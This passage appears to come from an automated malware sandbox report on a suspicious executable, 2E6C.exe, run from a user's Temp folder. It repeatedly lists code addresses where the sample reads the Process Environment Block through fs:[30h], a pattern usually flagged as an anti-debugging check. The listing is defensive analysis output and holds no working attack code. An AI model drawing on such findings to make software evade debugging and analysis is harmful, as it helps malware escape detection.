Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC4496 mov eax, dword ptr fs:[00000030h] 29_2_6CEC4496
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0649B mov eax, dword ptr fs:[00000030h] 29_2_6CE0649B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0649B mov eax, dword ptr fs:[00000030h] 29_2_6CE0649B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2746D mov eax, dword ptr fs:[00000030h] 29_2_6CE2746D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE45C70 mov eax, dword ptr fs:[00000030h] 29_2_6CE45C70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC77 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC77
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3AC7B mov eax, dword ptr fs:[00000030h] 29_2_6CE3AC7B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8C75 mov eax, dword ptr fs:[00000030h] 29_2_6CED8C75
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8450 mov eax, dword ptr fs:[00000030h] 29_2_6CED8450
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3BC2C mov eax, dword ptr fs:[00000030h] 29_2_6CE3BC2C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04439 mov eax, dword ptr fs:[00000030h] 29_2_6CE04439
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h] 29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h] 29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED740D mov eax, dword ptr fs:[00000030h] 29_2_6CED740D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE1FC01 mov eax, dword ptr fs:[00000030h] 29_2_6CE1FC01
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC1C06 mov eax, dword ptr fs:[00000030h] 29_2_6CEC1C06
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8C14 mov eax, dword ptr fs:[00000030h] 29_2_6CED8C14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE395EC mov eax, dword ptr fs:[00000030h] 29_2_6CE395EC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE095F0 mov eax, dword ptr fs:[00000030h] 29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE095F0 mov ecx, dword ptr fs:[00000030h] 29_2_6CE095F0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB8DF1 mov eax, dword ptr fs:[00000030h] 29_2_6CEB8DF1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE015C1 mov eax, dword ptr fs:[00000030h] 29_2_6CE015C1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFDD3 mov eax, dword ptr fs:[00000030h] 29_2_6CEBFDD3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE335A1 mov eax, dword ptr fs:[00000030h] 29_2_6CE335A1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h] 29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h] 29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31DB5 mov eax, dword ptr fs:[00000030h] 29_2_6CE31DB5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h] 29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h] 29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h] 29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CECB581 mov eax, dword ptr fs:[00000030h] 29_2_6CECB581
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03591 mov eax, dword ptr fs:[00000030h] 29_2_6CE03591
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2C577 mov eax, dword ptr fs:[00000030h] 29_2_6CE2C577
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2C577 mov eax, dword ptr fs:[00000030h] 29_2_6CE2C577
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB3D40 mov eax, dword ptr fs:[00000030h] 29_2_6CEB3D40
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0354C mov eax, dword ptr fs:[00000030h] 29_2_6CE0354C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0354C mov eax, dword ptr fs:[00000030h] 29_2_6CE0354C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE27D50 mov eax, dword ptr fs:[00000030h] 29_2_6CE27D50
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h] 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h] 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h] 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h] 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE31520 mov eax, dword ptr fs:[00000030h] 29_2_6CE31520
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0AD30 mov eax, dword ptr fs:[00000030h] 29_2_6CE0AD30
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h] 29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h] 29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34D3B mov eax, dword ptr fs:[00000030h] 29_2_6CE34D3B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8D34 mov eax, dword ptr fs:[00000030h] 29_2_6CED8D34
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h] 29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h] 29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC3518 mov eax, dword ptr fs:[00000030h] 29_2_6CEC3518
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0F51D mov eax, dword ptr fs:[00000030h] 29_2_6CE0F51D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h] 29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h] 29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE43EE4 mov eax, dword ptr fs:[00000030h] 29_2_6CE43EE4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE316E0 mov ecx, dword ptr fs:[00000030h] 29_2_6CE316E0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE336CC mov eax, dword ptr fs:[00000030h] 29_2_6CE336CC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8ED6 mov eax, dword ptr fs:[00000030h] 29_2_6CED8ED6
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE92EA3 mov eax, dword ptr fs:[00000030h] 29_2_6CE92EA3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE846A7 mov eax, dword ptr fs:[00000030h] 29_2_6CE846A7
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03E80 mov eax, dword ptr fs:[00000030h] 29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03E80 mov eax, dword ptr fs:[00000030h] 29_2_6CE03E80
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h] 29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h] 29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DE9E mov eax, dword ptr fs:[00000030h] 29_2_6CE3DE9E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33E70 mov eax, dword ptr fs:[00000030h] 29_2_6CE33E70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE40E21 mov eax, dword ptr fs:[00000030h] 29_2_6CE40E21
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE85623 mov eax, dword ptr fs:[00000030h] 29_2_6CE85623
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEBFE3F mov eax, dword ptr fs:[00000030h] 29_2_6CEBFE3F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0A63B mov eax, dword ptr fs:[00000030h] 29_2_6CE0A63B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0A63B mov eax, dword ptr fs:[00000030h] 29_2_6CE0A63B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h] 29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h] 29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0C600 mov eax, dword ptr fs:[00000030h] 29_2_6CE0C600
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE92E14 mov eax, dword ptr fs:[00000030h] 29_2_6CE92E14
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE337EB mov eax, dword ptr fs:[00000030h] 29_2_6CE337EB
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE437F5 mov eax, dword ptr fs:[00000030h] 29_2_6CE437F5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h] 29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h] 29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03FC5 mov eax, dword ptr fs:[00000030h] 29_2_6CE03FC5
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov ecx, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02FB0 mov eax, dword ptr fs:[00000030h] 29_2_6CE02FB0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2E760 mov eax, dword ptr fs:[00000030h] 29_2_6CE2E760
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2E760 mov eax, dword ptr fs:[00000030h] 29_2_6CE2E760
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8F6A mov eax, dword ptr fs:[00000030h] 29_2_6CED8F6A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE32F70 mov eax, dword ptr fs:[00000030h] 29_2_6CE32F70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE0A745 mov eax, dword ptr fs:[00000030h] 29_2_6CE0A745
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3DF4C mov eax, dword ptr fs:[00000030h] 29_2_6CE3DF4C
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04F2E mov eax, dword ptr fs:[00000030h] 29_2_6CE04F2E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04F2E mov eax, dword ptr fs:[00000030h] 29_2_6CE04F2E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h] 29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h] 29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE06730 mov eax, dword ptr fs:[00000030h] 29_2_6CE06730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3E730 mov eax, dword ptr fs:[00000030h] 29_2_6CE3E730
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B73D mov eax, dword ptr fs:[00000030h] 29_2_6CE2B73D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B73D mov eax, dword ptr fs:[00000030h] 29_2_6CE2B73D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34710 mov eax, dword ptr fs:[00000030h] 29_2_6CE34710
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2F716 mov eax, dword ptr fs:[00000030h] 29_2_6CE2F716
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE9FF10 mov eax, dword ptr fs:[00000030h] 29_2_6CE9FF10
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE9FF10 mov eax, dword ptr fs:[00000030h] 29_2_6CE9FF10
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE040E1 mov eax, dword ptr fs:[00000030h] 29_2_6CE040E1
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B8E4 mov eax, dword ptr fs:[00000030h] 29_2_6CE2B8E4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2B8E4 mov eax, dword ptr fs:[00000030h] 29_2_6CE2B8E4
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE058EC mov eax, dword ptr fs:[00000030h] 29_2_6CE058EC
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h] 29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h] 29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128FD mov eax, dword ptr fs:[00000030h] 29_2_6CE128FD
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE070C0 mov eax, dword ptr fs:[00000030h] 29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE070C0 mov eax, dword ptr fs:[00000030h] 29_2_6CE070C0
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE490AF mov eax, dword ptr fs:[00000030h] 29_2_6CE490AF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov ecx, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE128AE mov eax, dword ptr fs:[00000030h] 29_2_6CE128AE
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3F0BF mov ecx, dword ptr fs:[00000030h] 29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3F0BF mov eax, dword ptr fs:[00000030h] 29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3F0BF mov eax, dword ptr fs:[00000030h] 29_2_6CE3F0BF
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03880 mov eax, dword ptr fs:[00000030h] 29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE03880 mov eax, dword ptr fs:[00000030h] 29_2_6CE03880
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE2F86D mov eax, dword ptr fs:[00000030h] 29_2_6CE2F86D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED1074 mov eax, dword ptr fs:[00000030h] 29_2_6CED1074
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC2073 mov eax, dword ptr fs:[00000030h] 29_2_6CEC2073
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h] 29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h] 29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE05050 mov eax, dword ptr fs:[00000030h] 29_2_6CE05050
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE07055 mov eax, dword ptr fs:[00000030h] 29_2_6CE07055
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE34020 mov edi, dword ptr fs:[00000030h] 29_2_6CE34020
